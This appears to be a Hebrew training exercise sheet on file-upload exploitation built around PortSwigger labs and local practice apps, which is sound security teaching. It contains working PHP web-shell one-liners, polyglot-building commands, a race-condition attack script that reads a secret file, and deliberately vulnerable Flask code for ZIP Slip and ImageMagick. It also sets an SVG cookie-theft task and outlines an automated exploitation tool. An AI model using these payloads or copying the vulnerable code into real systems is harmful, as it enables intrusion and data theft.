העלאת קבצים מתקדמת - תרגיל¶
תרגיל 1 - עקיפת סוג תוכן¶
משימה¶
השלימו את המעבדה:
Web shell upload via Content-Type restriction bypass
https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass
שלבים מנחים¶
- נסו להעלות קובץ PHP ישירות - שימו לב לשגיאה
- תפסו את הבקשה ב-Burp
- שנו את ה-Content-Type מ-
application/x-phpל-image/jpeg - שלחו וגשו לקובץ שהועלה
- הריצו את הפקודה הנדרשת
תרגיל 2 - עקיפת Path Traversal¶
משימה¶
Web shell upload via path traversal
https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal
שלבים מנחים¶
- העלו קובץ PHP - שימו לב שהשרת מחזיר את התוכן במקום להריץ אותו
- הסיבה: תיקיית ההעלאות מוגדרת לא להריץ סקריפטים
- שנו את שם הקובץ ב-Burp להכיל path traversal:
../shell.php - אם
../נחסם, נסו..%2fshell.php(URL encoding) - גשו לקובץ בתיקייה מעל תיקיית ההעלאות
תרגיל 3 - עקיפת Blacklist¶
משימה¶
Web shell upload via extension blacklist bypass
https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass
שלבים מנחים¶
- גלו ששרת Apache חוסם סיומות PHP
- העלו קובץ
.htaccessעם התוכן:
- העלו את ה-webshell עם סיומת
.custom - גשו ל-webshell והריצו פקודה
תרגיל 4 - עקיפת וולידציית תוכן¶
משימה¶
Remote code execution via polyglot web shell upload
https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload
שלבים מנחים¶
- גלו שהשרת בודק את תוכן הקובץ (לא רק Content-Type או סיומת)
- צרו קובץ פוליגלוט - תמונת JPEG שמכילה קוד PHP:
# שיטה 1: שימוש ב-exiftool להוספת PHP בתוך metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg shell.php
# שיטה 2: הוספת magic bytes
printf '\xff\xd8\xff\xe0<?php system($_GET["cmd"]); ?>' > shell.php
- העלו את הקובץ הפוליגלוט
- גשו אליו והריצו פקודה
תרגיל 5 - מרוץ תנאים¶
משימה¶
Web shell upload via race condition
https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition
שלבים מנחים¶
- גלו שהשרת מעלה את הקובץ ואז מוחק אותו
- הגדירו ב-Burp שתי בקשות מקבילות:
- בקשת POST להעלאת ה-shell
- בקשת GET לגישה ל-shell
- השתמשו ב-Turbo Intruder או ב-Race Condition extension
- שלחו את שתי הבקשות במקביל - כ-20-50 פעמים
# Turbo Intruder script
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=100,
pipeline=False)
# בקשת העלאה
upload_req = '''POST /upload HTTP/1.1
Host: TARGET
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
------boundary--'''
# בקשת גישה
access_req = '''GET /files/avatars/shell.php HTTP/1.1
Host: TARGET
'''
for i in range(50):
engine.queue(upload_req, gate='race1')
engine.queue(access_req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
if 'CONTENT_OF_SECRET' in req.response:
table.add(req)
תרגיל 6 - ZIP Slip¶
משימה¶
בנו סביבת תרגול מקומית:
from flask import Flask, request
import zipfile
import os
app = Flask(__name__)
UPLOAD_DIR = '/tmp/uploads/'
EXTRACT_DIR = '/tmp/extracted/'
@app.route('/upload-zip', methods=['POST'])
def upload_zip():
file = request.files['file']
zip_path = os.path.join(UPLOAD_DIR, 'uploaded.zip')
file.save(zip_path)
# חילוץ פגיע!
with zipfile.ZipFile(zip_path, 'r') as zf:
zf.extractall(EXTRACT_DIR)
return "Extracted!"
if __name__ == '__main__':
os.makedirs(UPLOAD_DIR, exist_ok=True)
os.makedirs(EXTRACT_DIR, exist_ok=True)
app.run(port=5000)
משימות¶
- כתבו סקריפט Python שיוצר ZIP עם path traversal
- העלו את ה-ZIP ובדקו שהקובץ נכתב מחוץ לתיקיית החילוץ
- כתבו webshell ב-
/tmp/www/shell.phpדרך ZIP Slip - תקנו את הקוד כך שיהיה מאובטח נגד ZIP Slip
תרגיל 7 - ImageMagick¶
משימה¶
בנו סביבת תרגול עם ImageMagick:
from flask import Flask, request, send_file
import subprocess
import os
app = Flask(__name__)
@app.route('/resize', methods=['POST'])
def resize():
file = request.files['image']
input_path = '/tmp/input_image'
output_path = '/tmp/output_image.jpg'
file.save(input_path)
# שימוש ב-ImageMagick - פגיע!
subprocess.run([
'convert', input_path,
'-resize', '200x200',
output_path
])
return send_file(output_path)
if __name__ == '__main__':
app.run(port=5002)
משימות¶
- צרו קובץ MVG עם payload של SSRF
- צרו קובץ SVG עם payload של קריאת קובץ
- העלו את הקבצים ובדקו את התוצאה
- נסו לקרוא את
/etc/passwdדרך ImageMagick - הציעו תיקון (רמז: policy.xml של ImageMagick)
תרגיל 8 - SVG XSS¶
משימה¶
- צרו קובץ SVG שמכיל JavaScript שגונב cookies
- העלו אותו לאפליקציה שמאפשרת העלאת תמונות
- גשו ל-SVG ובדקו שה-JavaScript מורץ
- הציעו הגנות (רמז: Content-Type, Content-Disposition, CSP)
<!-- SVG XSS payload -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>
// TODO: כתבו קוד שגונב cookies ושולח לשרת שלכם
</script>
<text x="10" y="50" font-size="20">Innocent Image</text>
</svg>
תרגיל 9 - סקריפט כלי תקיפה¶
משימה¶
כתבו כלי Python שמנסה אוטומטית טכניקות העלאה שונות:
#!/usr/bin/env python3
"""
Automated File Upload Exploitation Tool
"""
class UploadExploiter:
def __init__(self, upload_url, file_param="file"):
self.upload_url = upload_url
self.file_param = file_param
self.techniques = []
def add_technique(self, name, filename, content, content_type):
"""הוספת טכניקת העלאה"""
self.techniques.append({
'name': name,
'filename': filename,
'content': content,
'content_type': content_type
})
def setup_default_techniques(self):
"""הגדרת כל הטכניקות הידועות"""
shell = '<?php system($_GET["c"]); ?>'
# TODO: הוסיפו את כל הטכניקות:
# 1. העלאה ישירה (php, php5, phtml, phar)
# 2. Content-Type bypass
# 3. סיומת כפולה
# 4. Case sensitivity (pHp, PHP, Php)
# 5. null byte
# 6. .htaccess + jpg
# 7. polyglot (JPEG magic bytes + PHP)
pass
def run(self):
"""הרצת כל הטכניקות"""
for technique in self.techniques:
print(f"[*] Trying: {technique['name']}")
# TODO: שלחו את הקובץ ובדקו אם הועלה בהצלחה
pass
דרישות¶
- הכלי צריך לתמוך בלפחות 10 טכניקות שונות
- לכל טכניקה - בדיקה אוטומטית אם ה-shell עובד
- דוח סופי עם כל הטכניקות שעבדו
- תמיכה גם ב-ASP ו-JSP (לא רק PHP)
סביבות תרגול נוספות¶
- PortSwigger: כל מעבדות File Upload (כולל Expert)
- HackTheBox: מכונות עם תגית File Upload
- TryHackMe: "Upload Vulnerabilities" room
- DVWA: File Upload module (Hard difficulty)
- bWAPP: Unrestricted File Upload